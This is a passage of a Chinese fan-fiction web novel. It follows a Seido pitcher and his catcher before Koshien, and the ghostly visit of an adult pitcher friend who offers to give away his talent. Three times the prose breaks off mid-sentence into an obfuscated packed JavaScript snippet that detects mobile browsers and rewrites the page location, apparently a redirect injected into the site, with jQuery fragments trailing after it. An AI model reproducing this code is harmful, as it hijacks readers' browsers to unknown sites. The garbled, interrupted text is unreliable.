他所准备的问题也没有出乎两人的预料:「对于一年级成为队伍的王牌你有什么想说的?」「满意自己在稻城实业决赛时的表现吗?」「在甲子园有什么想要达成的目标吗?」等等。 白鸟不是爱出风头的人,因此回答的都很保守,直到…… “为什么会选择青道呢?” 白鸟停顿了一瞬,露出一个真心实意的笑容,他坚定道:“因为青道就是最棒的队伍!我在这里收获的,远比我想的还要多。” 峰富士夫唇边的小胡子翘了起来:“原来如此。” 御幸也弯起了嘴角,作为分享过秘密的搭档,他当然明白其所言背后蕴含的意义。 有关御幸的问题、投捕之间的问题,按部就班采访完后,球员们离开会客室,峰富士夫收起笔记。 “具体的杂志,会在甲子园开幕式,也就是8月5号之后发布。” 片冈监督点点头:“辛苦了。” 峰富士夫摇摇头,他摸了摸上嘴唇的八字胡:“虽然现在外界众说纷纭,但我可是很看好青道这支队伍的。” 这也是一种提前投资,青道在甲子园走的越远,他这篇报道能收获的关注度也就越高,加之他也是真心喜欢青道的风格,自然希望他们能取得更好的成绩。 相较于外界的纷纷扰扰,球员们现在要做的事情则简单很多。 拥有甲子园门票的棒球社没有暑假可言,在8月5日来临之前,他们的生活除了训练、训练还是训练! 当天夜里,片冈监督宣布让川上宪史加入一军的训练,引发一阵哗然。 没想到在这个节骨眼,监督竟然又让一名一年级加入一军,这里面蕴含的深意让几个高年级投手一时间心绪难平。 水谷默默叹了口气,若是甲子园最终成员中没有他,他大概也不会觉得意外,比起水平稳定的柴崎,拥有一手绝活曲球的丹波,他的投球实力太过平庸,还有在高温天气中无法稳定发挥的缺点。 也还好他对甲子园的追求不像那几个一样强烈,只是因为不想让朋友、监督失望才坚持到现在。 因此心中的担忧竟没有想象中多。 川上的加入像是投石入水,一时间涌起的涟漪让所有有机会进入甲子园的一军队员们更加奋发,还好有着教练们的监督和队医的时时看护,没有让他们练出问题。 高温天气是中暑和热射病的高发期,青道制定了严格的白天训练时间要求,绝不允许大家超过。 在3天后,因为白鸟强烈要求加入训练,片冈监督带着白鸟又去了一趟医院,直到听到医生说炎症已经消失,只要适当控制就可以进行投球训练,监督才松口让白鸟进入牛棚。 “明明才5天,我却觉得自己好像有5个月没有投球了。”白鸟手握棒球跟着御幸往牛棚的方向走,他一脸惊奇地看着手上的棒球,一时间竟感到有些陌生。 御幸耸耸肩:“让我说,你应该再休息几天才好。” 有克里斯的事情作为前车之鉴,大家对待伤病都认真谨慎了很多。 “甲子园在即,我怎么可能闲得住。”白鸟将棒球抛上天空,再精准接住。洁白的棒球在逐渐昏暗的天空下宛如第二轮月亮。 5天没摸棒球,意外的再次投球时并没有多少生涩之感。 几乎是十几球之后,手感就逐渐回温,也许是因为休息到位,身体很轻松,他几乎想立刻挑战一下现在的球速极限。 但饭要一口一口吃,路要一步一步走。 在克里斯笑眯眯地注视下,白鸟遗憾地按捺住了冲动。 “复健还是要慢慢来哦。”克里斯经过一段时间的治疗与复健,对于体育健康也算是被迫了解了不少。 白鸟复健的顺利,让棒球社整体都松了口气,他们的下意识反应完全证明了白鸟这个一年级已经完全成为了这支球队的核心之一。 “白鸟你最特殊的地方就在于手腕与肩膀独特的发力方式,这让你能够投出高速球,同时学习横向位移的球变化球也轻而易举。” “你现在的变速球很标准,但也就是太过标准了,是对他人投球的模仿。” “若将变速球更加完善,打上独属于你的烙印,将其与滑球一样完全融合进你的投球体系,你的实力还能再上一层楼。” 白鸟点点头,他明白克里斯前辈的意思,比起好高骛远去追求更多的变化球,不如耐心打磨他目前已经拥有的武器。 将变速球与直球的球速差拉得更大,将螺旋球与滑球的前期轨迹磨合的更加相近。 到那时,不仅是直球,他的变化球也将成为令人胆寒的武器。 日子距离甲子园一天天更近,各个地区能够进入甲子园的队伍都已经杀出重围。 和财大气粗的青道不同,很多偏远地区的小学校,在获得甲子园门票后还有很多后续要做的工作,其中以筹款最为重要。 对于他们来说,进入甲子园是一笔不小的开销,好在棒球作为国□□动,加之甲子园在所有人心中独一无二的珍贵地位,哪怕是举县之力也一定会让孩子们踏进甲子园的大门。 就像是在实现自己曾经未能完成的梦想。 “那几个学校的录像资料都已经整理好了吧。”片冈监督坐在办公桌后面,桌上是几张助理教练整理的对内数据表。 “嗯,”高岛礼拿着几张CD,“和往年一样,那几所学校的录像都在这里了。” 就算前几年未能打进甲子园,青道搜集情报的行动都是没有停止的。 他们永远怀抱着野心,恰巧青道的财力也足以支撑着这份野心,因此他们有关那几所夺冠热门学校的情报可以说十分充足。 夏甲预选赛上,不仅是青道暴露了相当多的情报,其他的“老朋友”们大部分也是倾尽了全力,这种时候就到了教练组据此搜集情报制定计划的最好时机。 但这也是片冈监督最为外界诟病的一点,作为年轻的监督,他的战术经验实在是差那些老道的监督许多。 高岛礼想起董事会上讨论的话题。 青道赢得了甲子园的门票,校内也会加大对棒球社的投资,不仅是更先进的设施,有关是不是要再招聘一个更有资历的副教练的事情,也被提上日程。 不过棒球教练也不是想招就能招到的,提议就算要落实,也得是甲子园之后了。 她将CD放到桌上,发出轻轻的“咔哒”声。 白鸟拧动把手推门而入:“后天就要前往阪神甲子园了,你怎么还在熬。” 原本,屏幕的亮光是幽暗的小小放映室内唯一的光源,现在白鸟打开门第二处光照亮了屋内的人和物。 御幸摘下眼镜疲惫地捏了捏鼻梁。 再睁眼,一罐还散发着冰凉气息的饮料出现在他眼前,同时还有一瓶眼药水。 “谢了。”他接过两者,先拧开了眼药水,这是他平时放在宿舍里备用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785667|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那瓶,看来白鸟在来这里之前先去过了他的宿舍。 对着屏幕久了,乍然移开才感觉到眼睛真的已经很不舒服了。 白鸟盘腿坐在御幸身边:“你看起录像和记分册来真是不眠不休。” “哈……”御幸闭着眼睛仰头叹息。 他突然侧身一倒,躺在了白鸟腿上:“没办法啊,甲子园那么多没接触过的学校,没研究过的打者、投手、捕手……” “兴奋归兴奋,精神上也是真吃不消。” 白鸟轻轻摸了摸御幸的额头,然后试探着捏住眼镜鼻梁的架桥慢慢摘下,御幸睁开眼,就那样看着自己的视野从清晰变得模糊,没有阻止的意思。 对于高度近视的人而言,眼镜就像他们的第二条生命,模糊的视野代表着安全感的缺失,未知的恐惧让他们厌恶被他人擅自摘下眼镜。 那天合宿被哄闹着摘走眼镜时御幸是真的有些生气,好在白鸟及时用合时宜的方法将眼镜又重新还给了他。 他静静注视着白鸟,感受着那温热的手指温柔地轻轻拂过他的鼻梁和睫毛,落在他的眉弓和太阳穴力度适中的按揉起来。 熟悉的味道充斥着狭小的空间内,是那个被调笑过的沐浴露味道,当时觉得太甜,现在却觉得温暖又安心,像被什么庞大又毛茸茸的生物包裹。 突突跳动的神经渐渐舒缓,困意翻卷着漫上脑袋,眼皮也变得更加沉重。 看着腿上呼吸变得平稳的御幸,白鸟停下按摩的手。 他安安静静的当起一个靠垫,无聊中观察起御幸的脸来,眉骨突出,鼻梁高挺,浓眉之下那双星火一样的眼瞳闭合着,眼下有着淡淡的青黑,这些时日御幸真的非常忙碌,不仅要兼顾训练,还有太多太多资料要看,白鸟将那张脸上散乱的发丝拨开,无声地叹了口气。 ——辛苦了,我的捕手。 不知不觉中,他眼皮闭了闭,自己也在这安全放松的氛围里渐渐睡着了。 …… 毕竟心里还压着事情,御幸很快醒了过来,从深度睡眠中惊醒一时心跳有些快,缓了一会儿他才想起现在究竟是个什么状况,最近太累,他竟然就这么躺在白鸟的腿上睡着了。 真是不可思议…… 白鸟是也睡着了吗?他眯着眼睛也看不清白鸟的表情,便微微撑起身体,些微的动静让白鸟也跟着醒了过来。 睁眼就是御幸放大的脸,鼻尖差点碰上,白鸟吓了一跳。 两人脸对脸面面相觑了一会儿, 白鸟一把按住御幸的脸压了下去:“你离得太近了。” 御幸被捂着鼻子嘴巴闷闷道:“我看不清嘛。”然后他笑起来,一开始只是小声的笑,紧接着他就算被捂着嘴巴,也哈哈大笑起来。 触电般收回手,手上湿润的水渍让白鸟一头黑线:“都是你的口水。” “抱歉抱歉。”御幸没什么诚意地随口道,顺手从口袋里掏出一包纸巾,直起身子拆出一张递给白鸟。 擦干净手,白鸟站起身:“赶紧休息吧,熬太多夜记忆力会变差的。” 那双金棕色的眸子温和地注视着白鸟,哪怕明知这个距离御幸看不清他脸上的表情,白鸟还是努力绷住脸作出一个严肃的样子。 “好好好——”最后一个字拖长了音调,御幸拿过旁边的眼镜戴上,“谨遵王牌大人的命令。” 这人又在耍宝了。 没办法再装严肃,白鸟眼角眉梢都露出了笑意:“走吧。” 两人离开放映室,锁好门。 “等后天去甲子园抽签,得到对战表,要做的准备工作就会明确很多。” “不论是清正社、横滨、西邦还是白龙……能和这些陌生的豪强在甲子园一决胜负,想想真是激动。” “明天有热斗甲子园的采访哦。” “哎?!有吗?” “一也你果然那时没注意听……” “这不是有你吗?哈哈哈哈……” 50.你是?! 坐在大巴上,白鸟打开前座的桌板放下平板,东京距离大阪的车程需要8-10小时,中途他们还需在酒店住一晚。 行程的一切安排青道都规划好了,除了需要搭乘大巴的时间有点长以外,没有任何需要操心的地方。 此行是监督教练们和队员们率先前往,之后还有学校应援团的几辆巴士,只要是想要去到甲子园为青道棒球社进行应援的学生,青道高中都会负责他在甲子园应援期间的一切车费住宿费和门票费。 这是青道时隔4年第一次打进甲子园,还是夏甲这种比春甲在地位和规模上都更胜一筹的大赛。这次去的人不少,对于任何学校而言都是笔不菲的开销,但青道完全没在意,定的酒店都是五星级的。 途中就餐的餐厅,也都是经过精挑细选提前预订好的。 这就是私立高中的财力与行动力。 为了在路上打发时间,白鸟就把平板一起带了过来,他插上有线耳机,旁边的御幸在看纸质的比赛记录,就不打扰他了,白鸟点开一个前几届的甲子园比赛录像看了起来。 那是一场极其经典的比赛,黑马学校VS棒球豪强,两个学校龙争虎斗,期间贡献了许多守备美技与经典名场面。 白鸟看过许多次,但每次看都能从中得到新的体悟,他从中吸取的最重要的教训就是永远不要小看任何一所学校。 看着看着,白鸟皱起眉头,他发现自己怎么都无法投入进视频中,是因为太熟悉这个视频了吗?看来得重新找一个看了。 “可以看看上一期甲子园中大阪桐荫VS西邦的决赛,他们的打线都是全国级别,期间投捕与打者的对垒相当有意思。”御幸似乎发现了他的心不在焉,推荐道。 “好。”白鸟关闭视频。 平板退回到主页,壁纸跳了出来,是一张风景照。 雪与松柏,深红色的鸟居坐落在一片雪白之中,连注绳环绕的石雕塑像被积雪掩盖大半,看不清模样,白茫茫的雪地没有脚印也没有被打扫的痕迹。 除了持镜者,似乎这张照片中不存在第二个人类,静谧安宁,不似人间。 御幸一怔,立刻就被这张照片的氛围吸引了:“这是哪里?” 白鸟闻言神色有些复杂,手指在屏幕上无意识地滑动了几下,陷入回忆:“这是京都深山中一座无名山神的神社,我去爷爷奶奶家玩时因为不想社交就一个人在附近闲逛。” “附近都是山,为了躲避可能会找过来的白鸟修,我随便挑了个方向越走越深,渐渐被山中景色吸引。” “回过神时,我已经站在神社入口的石阶的第一节台阶之上。” 挺玄乎的。 在霓虹,神隐之说一直甚嚣尘上,八百万神明有名有姓的只是少数,多的是山野乡神,那些离奇的志怪传说也多起源于那些野神。 那时的他正对那些传说深深着迷,想要找寻出脱离现实进入梦中世界的方法。 眼前这个突兀出现的神社,无疑十分吸引他。 “来都来了,拍完照片后,我就沿着台阶往上走。” “你胆子真大。”御幸微微皱着眉头,听着白鸟那时年纪也不大,就敢孤身一人进入偏僻的深山。 无论是遇见坏人还是遇见熊,都是很可怕的灾祸。 是啊,那时的他胆子真大,很大原因是因为就算出什么意外,他也并不在意吧。 “鸟居前的石塑是一只兔子,不过她的耳朵残缺了一只,身上也有一些裂痕,想来是很久没人进行维护了。” “让人奇怪的是,周围一点动物活动的痕迹都没有,一般来说深山中就算下雪,不冬眠的小动物们也会出来觅食。” 御幸的心随着白鸟的讲述渐渐沉浸。 “鸟居的红漆也有所剥落,看上去一切都很陈旧与破败,可以远远望见里面有座小小的神社,我实在是好奇这里的神社究竟供奉着哪一位神明,就走了进去。” “传说鸟居是分割神域与世俗的门扉,也许真的是这样吧……我对进入神社之后的记忆已经完全忘记了,只记得后来再想去寻找那间神社时,却怎么也没办法找到。” “若不是还留下了这张照片,我可能还以为那只是我做的有一个梦。” 白鸟有些出神地望着那张照片,他撒了一个小小的谎,其实他有些印象自己似乎在神社中见到了什么,听到了什么,得到了什么,但具体的东西却完全没办法回忆起来。 这种经历说出来实在吓人,还是缄口为妙。 御幸挠挠头,再看这张照片时感觉就有些复杂了,从单纯的风景照变成了一段身边人奇诡的经历。 “这段经历还挺神奇的对吧?”白鸟以「神奇」二字为这段故事作结,点开视频软件搜索起御幸说的那场比赛来。 “没错,可以拍一部电影的程度。兔子神使在神话中是司掌结缘与治愈的神使,说不定那是一座缘结神的神社呢。”御幸觉得有趣,同时觉得白鸟有讲故事的天赋。 白鸟因御幸这句话有些心神不宁。 他看着视频中的比赛,思绪却回到了当年,但他无论如何也回忆不起来那时他究竟见到了什么,听到了什么。 唯有那条突兀出现在他手腕上的红绳手链,被他一直好好珍藏。 唉。现在不是思考这些的时候。 离甲子园愈发接近,现在应该思考的是如何在甲子园和队伍一起走得更远才对。 老师说,我想要的东西在这条路上走得越远越是难以追寻。他告诉我只有在高中完整追求一次甲子园,才能真正明白钻石场的意义。 马上就要在甲子园进行比赛了,他真的能明白吗?他于棒球不过是微尘一粟,但棒球之于他究竟是什么呢? 有人将棒球当作毕生的梦想拼命追寻;有人将棒球当作缠绕的噩梦,宁愿消亡也要逃离;也有人将棒球当作工具,一心希求功成名就……那他呢?自己究竟是怎么想的?他居然直到现在都无法肯定的说出是喜欢,因为他打棒球的目的并不纯粹。 「是吗?这样又有什么不好?」 “?!”谁在说话,白鸟的注意力转回平板,他以为是录像里的声音,但又瞬间意识到并不是,那声音与其说是从耳机里传来,不如说是直接传进了他的脑海里。 大巴中的所有人声音他都熟悉,但他从未听过这个清朗中透着些许磁性的,属于成年男性的声音。 而且莫名有些、有些既视感,就好像这声音,这腔调再稚嫩些,他就能想起来一样。 白鸟摘下耳机,他没有发出什么动静,冷静地转头环顾,没有任何异常,大家都在干着自己的事情,无论是聊天、哼歌还是玩飞行棋的交流声他都听得一清二楚。 完全没有刚刚那个男人的声音。 「嗤——」戏谑的笑声再次响起。 离得太近,白鸟下意识看向御幸,御幸依旧在低头研究比赛记录,似乎完全没有听见。 就在他神经紧绷,皱起眉头的时候,一只手从上垂落到他眼前。 那是一只属于成年男性修长又骨节分明的手,阳光从那只手上穿透而过,几乎能透过那只手看见前面的椅背。 手晃了晃,紧接着一张脸倒挂着出现在白鸟眼前,那张英俊的脸上做着鬼脸,金色的眼眸中满是笑意。 「惊喜吗?白。」 “……”差点吓到心脏骤停算是惊喜吗? 白鸟呼出一口气,他紧绷的身体渐渐放松,这张脸就算变成了20年后的样子他也能一眼认出来。 “怎么了?”御幸察觉到异常,转头看过来。 “没什么。”见他的目光直直穿透那个男人,白鸟了然这个漂浮在空中半透明的人,果然只有自己能看见。 他掐了下自己的胳膊。 「就算会痛,也无法证明你没在做梦不是吗?」那人摆正身形耸了耸肩。 没错。白鸟心中叹息,在梦中的另一个世界世界生活时,他和正常人几乎是一样的,会痛会流血,只是缺少了生理需求。 「你怎么变成现在这样不讨喜的样子了,我都快认不出你了。」 白鸟慢吞吞抬眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791743|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,重新对上半空中那双金色的眼睛:「好久不见,绫。」 ——他的梦中朋友,那个太阳般凌驾于所有投手之上的世一投,绫濑川次郎。 31岁的绫濑川笑起来,露出和小时候一样的尖尖虎牙:「我现在比你大那么多,你要叫我绫哥才对。」 真是风水轮流转,之前是他比小圭大了一岁,现在是绫比他大了20岁吗??这差距也太大了,不过现在是想这些的时候吗?这家伙是怎么以现在这种形象出现在他的世界的??? 像是知道他在想什么,绫濑川在半空中盘腿托腮:「我也搞不清楚,不过无所谓啦,这样多有趣啊!」 哪里有趣啊!为自己的身体多想想喂! 白鸟这几分钟的吐槽欲比他一年的吐槽欲都多,实在是大人模样的绫濑川比起小时候要不着边际太多了吧。 完全看不出长大了,怎么感觉比小时候还幼稚。 绫濑川伸出手指戳戳白鸟的额头:「我知道你在说我坏话。」 没有明显的触觉,但能感觉到一点冰冷的凉意在额头上一触即分。 他居然是能直接感受到绫的?白鸟一怔。 「没错,而且只有你能看见我,感受到我。」绫濑川渐渐下降,站在地上。 「别操心啦,我的身体很正常很健康,这只是个有趣的意外,因此我能得知世界上果然是存在灵魂的,真好啊。」 他在白鸟记忆中圆嘟嘟的脸蛋已经变得棱角分明,大而明亮的眼睛也变得狭长,只有那依旧璀璨的黄金般的瞳眸一如当年。 「……」 「虽然不知道为什么会到这边来,但是白……」绫濑川凑近白鸟,那双眼中没有笑意,支棱着让人无法读懂的情绪:「你需要我,你对自己感到迷茫,这样的你无法为球队带来最终的胜利,所以你需要我,对吧?」 “……” 绫濑川站直时白鸟才发现这人身高大概已经超过了190cm,灵魂体没有影子,所以他离他如此之近,他也依旧能感受到光线的朦胧。 你真的存在吗?还是我的幻觉?白鸟无法理解这一异常现象,不过他有看过心理医生,知道如何给自己的心理状态做评估,他最近的状态挺好的,好的环境会诞生正向影响的磁场,就算有些暂时的烦恼,和绝对达不到会产生幻觉的程度。 而且绫的性格和小时候差距太大了,不是他能够想象出来的形象。 姑且相信真的是「灵魂」吧。 但这又诞生了一个新的问题。以灵魂的姿态来到另一个世界,见到一个几十年没见过的小时候的朋友,先不说应该早就忘记了,第一反应该是怀疑自己现在的状态是拜其所赐才对吧,绫濑川的态度怎么想也十分异常。 「我能知道你在想什么哦。」绫濑川摆摆手:「那些无聊的事情就不要去纠结啦,总之我是来帮你的,明白吗?绫濑川大人亲自前来帮你哦,给我心怀感激的接受吧。」 绫濑川是这么自恋的人吗?帮助?什么帮助?白鸟简直满头问号,虽然是熟人,是从前的朋友,但好像又没那么熟了。 「你现在是已经进入职棒了吗?」他索性转移话题。 绫濑川在空中转了个圈:「当然!而且我不仅拿到了MVP,名人堂也已是囊中之物。」 “!”就算白鸟还从未考虑过职棒的问题,听到绫濑川获得了如此恢宏的荣誉也还是感到惊叹不已。 他一点都不觉得不可思议,绫濑川获得何种荣耀都是理所应当的。 知道白鸟在想什么,绫濑川勾起唇角,他从出现起就一直在笑,但这个笑容却有些奇怪:「白,现在有个机会哦——」 他离白鸟非常近,几乎快要脸贴着脸,白鸟身后就是椅背,无从躲避,只能被迫望着那双眼睛,金眸与金眸互相辉映。 那金色是女神稀世的金苹果,是蛇信下琥珀色的涎水。 在那片金色的世界里,白鸟听见绫濑川说:「要不要吃掉我?我所拥有的一切,那些人说的天赋、球商以及身体能力,一切的一切全部都给你哦~」 51.再一次 「如果是你的话,我愿意哦。」绫濑川伸展双臂,做出一个大大的等待拥抱的姿势。 最初的惊愕过去之后,白鸟冷静道:「谢谢你绫,但是不要。」 虽然不明白什么叫让我“吃”了他……但是不要。 「哎???为什么??」绫濑川向后飞了一截,气鼓鼓地叉腰盘坐在空气中,他使用自己的灵魂之身得心应手,姿态灵活。 说实话,这是份足够诱人的邀请。 绫濑川有多强? 这份强大甚至不在于他即将获得的名人堂荣誉,纵观他接触棒球伊始,只算白鸟知道的部分,在他心中绫濑川无论获得多么崇高的奖项,都是理所应当的。 小学刚接触棒球三个月,就在U12的国家队担任王牌,带着队伍拿下了世界赛的冠军。 有着极其强大的学习能力,仅靠看视频就能学会他人难以掌握的多种变化球,恐怖的身体天赋,国一身高就达到了175cm以上,臂展惊人,还拥有天生柔软的肩膀。 最可怕的是他的头脑和球商。 如果说很多东西靠着努力,尚且还有改变的可能,那「灵光」这种东西,就是凡人一生都无法单纯靠着努力得到的。 棒球不是一个人的比赛,绫濑川的强大能够让这条口口相传的铁律为其让步。 就算如此,绫濑川在棒球上的投入也是他人难以企及的,说他是「天才」难免忽略了他为了打好棒球,为了胜利的不顾一切。 平凡人的努力是努力,天才的努力就该被忽视吗?这个世界上有很多天才,但能真正做到绫濑川这个地步的又有几个呢? 现在这样的人问你想不想得到他的一切。 吞吃下这枚伊甸园的苹果,你就能获得上帝的智慧,当其触手可及,连亚当与夏娃都要伸手。 白鸟认真地凝视着绫濑川,他想要找回那份熟稔,但他对绫濑川的记忆还停留在其刚进入少棒的时候。 时间能改变太多东西了,在那张脸上,他无法再找出一丝年少时的青涩逞强。 但,也有些东西是时间永远也无法改变的,比如在那双眼睛里依旧支离破碎的自我。 绫濑川身边围绕着太多争端与虚言,偏生他又是个过于敏感聪明的人。 他说这句话的意义为何白鸟并不在乎,他只希望这背后不是又一段让人难过的故事。 「什么嘛,你又在想那些无聊的东西了。」绫濑川撇撇嘴,他撑着下巴叹了口气,眼睛望着车外车水马龙的风景。 他似乎放弃了。 所以到底为什么会说那样的话? 后面一段时间里,绫濑川在车里自娱自乐,他似乎无法离开白鸟身边5米的范围,但没对这宛如束缚般的状况发表任何意见。 反而是白鸟有些愧疚,觉得是自己异于常人的部分又一次作乱。 同时他也没办法做到不关注绫濑川,他自己吃过当透明人的苦楚,自然不会让别人也落到和他相似的境地,但是这样一来,他自然也就没办法全然将心神放在其他事情上。 所以他有别于平日神游般的状态很快便被发现了异常。 “你在看什么?”御幸好奇地望着白鸟身前的空气,他实在没看出来那块空间有什么值得关注的。 “没什么……”白鸟看着绫濑川用那张成年人的脸蛋大做鬼脸,嘴角抽了抽。 「这就是你在这个世界找的朋友?」绫濑川挑剔地瞅了瞅御幸,上挑的眼角像猫咪一样矜傲。 「是的,他是我的捕手搭档。」白鸟笑了笑,他觉得作为投手的自己,在遇见御幸后,才得以挣脱那些束缚,第一次喜爱上在投手丘投球的感觉。 「不对。」绫濑川突然冷下脸。 他盯着白鸟的眼神突然变了,如果说之前只是好久不见的朋友间的玩笑,那现在他的神色足以让人明白,现在的他是认真的。 「你的投球强不强和捕手没有关系,所谓的捕手只要一个能听从你的指令,能够接住你的球的人就行了。」 这完全与白鸟的所秉承的理念背道而驰,他忍不住反驳道:「那只是一堵墙而已,如果什么人都能做捕手,没有对彼此的信任,那怎么才能够在比赛时将意志交托。」 绫濑川嗤笑:「什么意志不意志的,也只有现在的你才会相信这种东西,棒球是数据的棒球,行就是行,不行就是不行。」 「白,你认为我的强大是因为意志?认为我能赢下一场场比赛靠的是羁绊这种虚无缥缈的东西吗?」 他眼中燃烧着熊熊怒火:「别开玩笑了!」 白鸟一开始确实因为这突如其来的怒火惶恐了一下,但很快他就明白,这火气不是冲他来的。 绫濑川咬牙切齿:「全都是傻瓜!」 “……”他确实无法反驳,说到底意志这种东西过于玄虚,它是胜利的一份锦上添花的砝码,建立在实力之上,意志力再高,孱弱的队伍也是无法获胜的。 「相信捕手?相信任何人都不行,这种心态在职业里会让你吃大亏的。」绫濑川重新冷静下来,一副过来人的样子。 白鸟:「我也没说我之后要进职业啊。」 「呵,骗谁呢。」绫濑川摆摆手。 这话说的,他确实还没考虑过职业的问题,主要是现在他觉得打棒球开心,那是因为他身处青道,身边难得拥有了几个朋友。如果要进职业队,先不说投捕被同一个队指名的概率有多低,职业和高中棒球也不是一个维度,到那时考虑的,比现在也会复杂的多。 他不觉得他对棒球的爱,足以支撑他一辈子在不喜欢的环境里打转。 「骗子。」绫濑川看着白鸟,阳光浸染他的金发,那双眼睛微微眯起。 「你已经强求很久很久了,如果要放弃早就放弃了,不过不打棒球也好。」绫濑川这么说着,露出一个笑来,眼眸弯弯,让白鸟恍惚间仿佛重新见到那个熟悉的年少的绫濑川。 他们间就此沉默下来。 一直到大巴停在晚上住宿的酒店。 酒店灯光温暖,没有奢华的装修,透露出一种低调宁静的气氛,非常洁净舒适。 学校给学生订的是双人房,分房自然是自己决定,白鸟跟着御幸走进一间房间。 看似是两个人,实在有三个人的房间里,白鸟和御幸在整理行李准备洗漱睡觉,绫濑川则仗着自己灵体的能力穿墙玩耍。 “一也,我出去在楼下打个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797622|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话,等会儿就回来。”白鸟忍了忍,还是忍不住找了个借口与御幸分开带着绫濑川来到楼下。 御幸点点头,看着白鸟关门离开。 他挑眉若有所思地注视那扇关闭的门,在车上时白鸟突然就变得有些不对劲,神思恍忽,注意力经常不集中,盯着一个没东西的地方出神。 虽然不知道发生了什么,但既然白鸟没说,那他也不会过问。 酒店楼下有一个小绿化公园,树林茂密幽静,其中有长椅供客人休憩。 白鸟见地点足够偏僻,便停下脚步:“究竟是怎么回事?” 灵魂来到异世界再怎么以玩笑掩盖也不是件小事情吧。 而且后天就要进行甲子园的比了,他总不能在甲子园比赛时还带着绫濑川。 绫濑川坐在白鸟旁边,长腿有些憋屈地曲着,从坐姿就能看出这两人都有着良好的教养,脊背挺直,腿也没有随意伸长。 「哎呀,这我也很难说清楚呀,不过后天之前我肯定会回去的,放心吧。」 他细碎的刘海阴影在眼睛那里晃悠,望着异世界的夜空,零星的星星点缀在黑暗里。 “我不是赶你走。”白鸟声音低了下去,他看着脚下,意识到自己着急时脑海中的想法被绫濑川知道了,脸颊火辣辣的。 绫濑川似乎叹了口气。 他听见绫濑川道:「白,明明是我没有经过你的允许就读取你脑海中的想法,你为什么要感到羞耻?」 「我问你一两个问题。」 白鸟一愣:“什么?” 「我知道你其实对于棒球的喜爱并不痴迷,也不会为了钱啊,荣誉之类的东西妥协,如果……如果有一天你决定要打一辈子棒球,会是因为什么?」绫濑川淡淡道,他脸上没有表情,也没有看白鸟。 这个问题…… 白鸟慎重思考了一番,虽然绫濑川似乎不在意,但他觉得他的回答很重要,因此哪怕之前从未思考过,他也要努力回应。 “因为人。” 「人?」绫濑川终于转过头,他那双眼睛在黑夜中闪闪发光,非人感前所未有的强烈起来。 “没错,因为觉得不是孤身一人,对未来有所期待,所以就为了这份期待,我会一辈子打棒球。”白鸟笃定道。 「不会觉得很傻瓜吗?为了一个人搭上一辈子的人生。」 白鸟笑了起来:“不会的,因为我本来也没什么特别想做的事情,看着他人追逐梦想闪闪发光的样子,我这样的人也能被带动起来吧?那时的我是不是也能变得同他们一样闪闪发光呢?” 绫濑川仿佛被这个笑容灼伤一样猛地转过头,他攥紧手:「谬论。」 「第二个问题,为什么不接受我的提议?」 随着问题与回答,白鸟心中的迷雾渐渐消散,心也变得柔软。 “因为我只是白鸟京,而你也只是绫濑川次郎。” 「如果是这样的话……」绫濑川喃喃。 金发青年站起身,身躯变得更加透明,他转过身居高临下地看着白鸟。 「白鸟京,如果是你的话,作为朋友,作为对手,如果你能做到所说的这样,那就期待我们的再一次见面吧。」 52.未来 什么叫再一次见面?! 白鸟的心脏“咚咚”狂跳起来。 绫濑川没有给他揭秘的意思,狡黠地笑:「我知道很多事情,但不会告诉你,礼物只有在还是秘密的时候才最惊喜。」 「既然你做出了选择,那我大概明天早上就会消失了。」 谈及自己的消失,绫濑川依旧在笑,晚风穿过他的灵魂,拂不起半片衣角。 “为什么?”白鸟有太多疑问了,这又和他的选择有什么关系,若是他选择吞噬绫濑川,那又会发生什么? 可已经做出的选择不会改变。 绫濑川耸耸肩:「因为你也不需要我了呀。」 “……绫。”夜风拂起白鸟的发丝,他有些难过,他并非是不想和绫再长久的相处下去,但现在并不是在做梦,不是正确的时间,也不是正确的状态。 若是连对方的生死与否都无法确认,若是他不去在乎接下来的比赛,只是一味的思考自己的事情。 如果他能做到,他就不会变成现在的他。 这不代表他不需要绫濑川,如果可以,他多希望能和他喜欢的人们永远在一起。 绫濑川:「……」 「你明明知道我能感知到你的想法,还是不加以掩饰,你果然是故意的吧。」 他扶额低头,灵魂体的耳尖有些泛红:「行了,知道了知道了。」 「这样吧,既然还有一晚上的时间,我们就来特训吧。」这下轮到绫濑川转移话题了。 “特训?” 「没错!」绫濑川勉强找回状态:「以甲子园的赛程来说,你想要在这次比赛里拿到冠军几乎是天方夜谭。」 白鸟对这样笃定他得不到冠军的发言并没有感到生气,他又不是白日梦想家,想要拿到冠军和实际拿不拿得到,又不是光想光说就能决定的。 就像青道夺得预选赛冠军前,那么多人都不看好青道,可他们还是赢了。 